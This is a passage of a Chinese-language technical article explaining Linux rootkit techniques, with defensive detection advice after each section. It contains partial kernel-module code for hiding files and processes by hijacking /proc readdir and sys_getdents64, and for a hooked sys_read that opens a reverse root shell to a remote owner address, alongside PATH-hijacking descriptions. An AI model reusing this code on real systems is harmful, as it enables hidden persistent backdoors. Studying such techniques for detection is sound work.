/* 1. 新建一個666權限的/proc/wnps目錄 */ proc_rtkit = create_proc_entry("wnps", 0666, NULL); if (proc_rtkit == NULL) { return 0; } /* 2. 經過新建立的/proc/wnps獲取父目錄 */ proc_root = proc_rtkit->parent; if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) { return 0; } /* 3. 設置內存頁可讀可寫,保存原始操做句柄,並替換/proc目錄的枚舉函數句柄(readdir) */ proc_fops = ((struct file_operations *) proc_root->proc_fops); proc_readdir_orig = proc_fops->readdir; set_addr_rw(proc_fops); proc_fops->readdir = proc_readdir_new; set_addr_ro(proc_fops); /* 4. 在劫持函數中加入文件名判斷邏輯,對符合文件名特徵的枚舉動做進行過濾 */ if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) { return 0; }
攻擊前提
1. 黑客已經獲取了root賬號的權限 2. 黑客可以有權限執行insmod加載LKM驅動
防護策略
1. 使用VFS Hooking的逆向思路,經過檢查/proc->f_op->readdir(操做句柄)是否位於內核text節區中來判斷是否發生了VFS劫持
Relevant Link:
http://www.cnblogs.com/yuyijq/archive/2013/02/24/2923855.html
0x4: File Hidden Based On LSM Transparent Encryption(LSM透明過濾文件系統)
直接進行Linux systemcall table replace hook須要面臨不一樣Linux Kernel版本、32/64 bit的兼容性問題。爲了解決這個問題,使用Linux內核原生代碼級支持的LSM(Linux Security Modules)技術是一個更好的選擇
LSM Hook Point可使用如下幾個
1. security_file_permission: 對文件的操做權限進行審計 int security_file_permission(struct file *file, int mask); http://lxr.free-electrons.com/source/include/linux/security.h?v=2.6.25#L1581 http://lxr.free-electrons.com/source/security/security.c?v=2.6.25#L526 /* vfs_readdir() -> security_file_permission() */ 2. security_dentry_open: 對文件的open操做進行審計 int security_dentry_open(struct file *file); http://lxr.free-electrons.com/source/include/linux/security.h?v=2.6.25#L1596 http://lxr.free-electrons.com/source/security/security.c?v=2.6.25#L585 /* sys_open/sys_openat -> do_sys_open -> do_filp_open -> path_openat -> do_last -> nameidata_to_filp -> __dentry_open() -> security_dentry_open() */
關於LSM的相關知識,請參閱另外一篇文章
http://www.cnblogs.com/LittleHann/p/4134939.html
Relevant Link:
http://tech.sina.com.cn/s/s/2008-12-23/09062681645.shtml
0x5: File Hidden Based On TOMOYO
對於TOMOYO,和文件讀寫訪問控制相關的Hook Point是
static int tomoyo_file_open(struct file *f, const struct cred *cred) { int flags = f->f_flags; /* Don't check read permission here if called from do_execve(). */ if (current->in_execve) return 0; return tomoyo_check_open_permission(tomoyo_domain(), &f->f_path, flags); }
Relevant Link:
http://lxr.free-electrons.com/source/security/tomoyo/tomoyo.c#L329
6. Process Hidden
0x1: Process Hidden Based On Hajaking Sys_getdents64
code
/* 1. 經過"中斷寄存器"獲取中斷描述符表(IDT)的地址(使用C ASM彙編) */ asm("sidt %0":"=m"(idt48)); /* 2. 從中查找0x80中斷("0x80中斷"就是"系統調用中斷")的服務例程(8*0x80偏移) */ pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80); system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low); /* 3. 搜索該例程的內存空間,獲取"系統調用函數表"的地址("系統調用函數表"根據系統調用號做爲索引保存了linux系統下的全部系統調用的入口地址) */ /* 4. 將sys_call_table做爲基址,根據系統調用號做爲索引,替換指定的系統調用的函數地址指針(替換前須要獲取原始的系統調用地址,在hook函數執行完畢後要將控制流繼續導向原始系統調用而不影響系統運行) */ orig_read = sys_call_table[__NR_read]; orig_getdents64 = sys_call_table[__NR_getdents64]; /* 5. we get the orig information by orig_getdents64 */ struct dirent64 *td1, *td2; ret = (*orig_getdents64) (fd, dirp, count); td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL); //copy the dirp struct to kernel space __copy_from_user(td2, dirp, ret); /* 6. 隱藏對當前進程的枚舉 1) 經過current宏獲取當前進程號 2) 從dirent64獲取當前正在枚舉的進程號(d_name) 3) 若是相等則說明須要隱藏 4) 對當前dirent64的指定數據區域進行清空(置零),即起到隱藏的目的 */ /* 7. 隱藏對指定特徵文件的枚舉 1) 從dirent64獲取當前正在枚舉的文件名(d_name) 2) 和咱們配置的文件名特徵碼(例如wnps_)做比較 3) 若是命中則說明須要隱藏 4) 對當前dirent64的指定數據區域進行清空(置零),即起到隱藏的目的 */ asmlinkage long Sys_getdents64(unsigned int fd, struct dirent64 *dirp, unsigned int count) { struct dirent64 *td1, *td2; long ret, tmp; unsigned long hpid, nwarm; short int hide_process, hide_file; /* first we get the orig information */ ret = (*orig_getdents64) (fd, dirp, count); if (!ret) { return ret; } /* get some space in kernel */ td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL); if (!td2) { return ret; } /* copy the dirp struct to kernel space */ __copy_from_user(td2, dirp, ret); td1 = td2, tmp = ret; while (tmp > 0) { tmp -= td1->d_reclen; hide_file = 1; hide_process = 0; hpid = 0; hpid = simple_strtoul(td1->d_name, NULL, 10); /* If we got a file like digital,it may be a task in the /proc. So check the task with the task pid. */ if (hpid != 0) { struct task_struct *htask = current; do { if(htask->pid == hpid) { break; } else { htask = next_task(htask); } } while (htask != current); /* we get the task which will be hide */ if (((htask->pid == hpid) && (strstr(htask->comm, HIDE_TASK) != NULL))) { hide_process = 1; } } if ((hide_process) || (strstr(td1->d_name, HIDE_FILE) != NULL)) { ret -= td1->d_reclen; hide_file = 0; /* we cover the task information */ if (tmp) { memmove(td1, (char *) td1 + td1->d_reclen, tmp); } } /* we hide the file */ if ((tmp) && (hide_file)) { td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen); } } nwarm = __copy_to_user((void *) dirp, (void *) td2, ret); kfree(td2); return ret; }
攻擊前提
1. 黑客已經獲取了root賬號的權限 2. 黑客可以有權限執行insmod加載LKM驅動
防護策略
1. 枚舉內核空間中的系統調用表(一個全局變量)的每一項是否都處於內核text節區中 Detect any syscall address from the global table that is outside kernel text section 1) KJ_SYSCALL_TABLE_SYM 2) KJ_MODULE_KSET_SYM 3) KJ_CORE_KERN_TEXT_SYM
7. Hidden Port Remote Reverse Connections
0x1: Reverse Socket Connections In Kernel Mode By TCP Package Flag Activation
基於"4.0x2: Network Communication Hidden Based On Netfilter Callback Function Register"隱蔽通道激活以後,當前系統已經進入激活狀態,隨時能夠開始向遠程主機發起反向鏈接
code
/* 1. 經過"中斷寄存器"獲取中斷描述符表(IDT)的地址(使用C ASM彙編) */ asm("sidt %0":"=m"(idt48)); /* 2. 從中查找0x80中斷("0x80中斷"就是"系統調用中斷")的服務例程(8*0x80偏移) */ pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80); system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low); /* 3. 搜索該例程的內存空間,獲取"系統調用函數表"的地址("系統調用函數表"根據系統調用號做爲索引保存了linux系統下的全部系統調用的入口地址) */ /* 4. 將sys_call_table做爲基址,根據系統調用號做爲索引,替換指定的系統調用的函數地址指針(替換前須要獲取原始的系統調用地址,在hook函數執行完畢後要將控制流繼續導向原始系統調用而不影響系統運行) */ orig_read = sys_call_table[__NR_read]; orig_getdents64 = sys_call_table[__NR_getdents64]; .. 替換sys_call_table[__NR_read]的函數指針,達到劫持read()系統調用的目的 /* 5. 在sys_read(hook系統調用函數)中部署內核態反向socket鏈接,值得注意的是,這個反向shell還附帶了一個root權限的交互式shell */ kshell(myowner_ip,myowner_port); int kshell(int ip,int port) { .. sock_create(AF_INET,SOCK_STREAM,0,&sock); .. sock->ops->connect(sock,(struct sockaddr *)&server,len,sock->file->f_flags); .. get_pty(); .. if (!(tmp_pid = fork())) { start_shell(); } .. } //get_pty - create a pseudo terminal. int get_pty(void) { char buf[128]; int npty, lock = 0; ptmx = open("/dev/ptmx", O_RDWR, S_IRWXU); ioctl(ptmx, TIOCGPTN, (unsigned long) &npty); ioctl(ptmx, TIOCSCTTY,(unsigned long) &npty); ioctl(ptmx, TIOCSPTLCK, (unsigned long) &lock); sprintf(buf, "/dev/pts/%d", npty); npty = open(buf, O_RDWR, S_IRWXU); return npty; } //strat_shell - use system call 'exevce' to get a root shell. void start_shell(void) { struct task_struct *ptr = current; mm_segment_t old_fs; old_fs = get_fs(); set_fs(KERNEL_DS); ptr->uid = 0; ptr->euid = 0; ptr->gid = SGID; ptr->egid = 0; dup2(epty, 0); dup2(epty, 1); dup2(epty, 2); chdir(HOME); execve("/bin/sh", (const char **) earg, (const char **) env); e_exit(-1); }
攻擊前提
1. 黑客已經獲取了root賬號的權限 2. 黑客可以有權限執行insmod加載LKM驅動
防護策略
1. 枚舉內核空間中的系統調用表(一個全局變量)的每一項是否都處於內核text節區中 Detect any syscall address from the global table that is outside kernel text section 1) KJ_SYSCALL_TABLE_SYM 2) KJ_MODULE_KSET_SYM 3) KJ_CORE_KERN_TEXT_SYM
8. Programe Replacing
0x1: Ring3 Programe Hijaking Based On Linux Path Hijaking
所謂路徑劫持技術,本質上就是利用Linux默認指令程序搜索順序的特性而發動的攻擊,通常狀況下,咱們在命令行會直接輸入指令而不帶完整路徑
而實際上,linux會按照一個預約的順序去搜索這個指令對應的程序
1. 當前目錄 2. 若是當前目錄不存在,則按照PATH路徑進行搜索
若是黑客可以在其中的搜索列表中的儘可能靠前的地方(越靠前越好)放置同名("同名"是指令劫持的關鍵前提)的指令程序(例如ll),當用戶輸入ll命令時,實際執行的就是黑客防止的惡意程序,從而達到基於PATH劫持的指令劫持的目的
攻擊前提
1. 黑客擁有指定目錄的寫權限
防護策略
1. 基於惡意軟件、木馬、後門軟件的指紋庫的定時全盤掃描
0x2: Ring3 Program Hijaking Based On Replacing Original Programe
早期的黑客使用的rootkit經常使用的作法是直接將/bin/ls、/bin/ll等可執行文件替換爲同名的惡意程序(本質思想上和基於PATH劫持的指令劫持的思想差很少)
攻擊前提
1. 黑客擁有系統關鍵目錄(/bin、/sbin等目錄的寫權限),通常是拿到root權限的
防護策略
1. 基於惡意軟件、木馬、後門軟件的指紋庫的定時全盤掃描
Copyright (c) 2014 LittleHann All rights reserved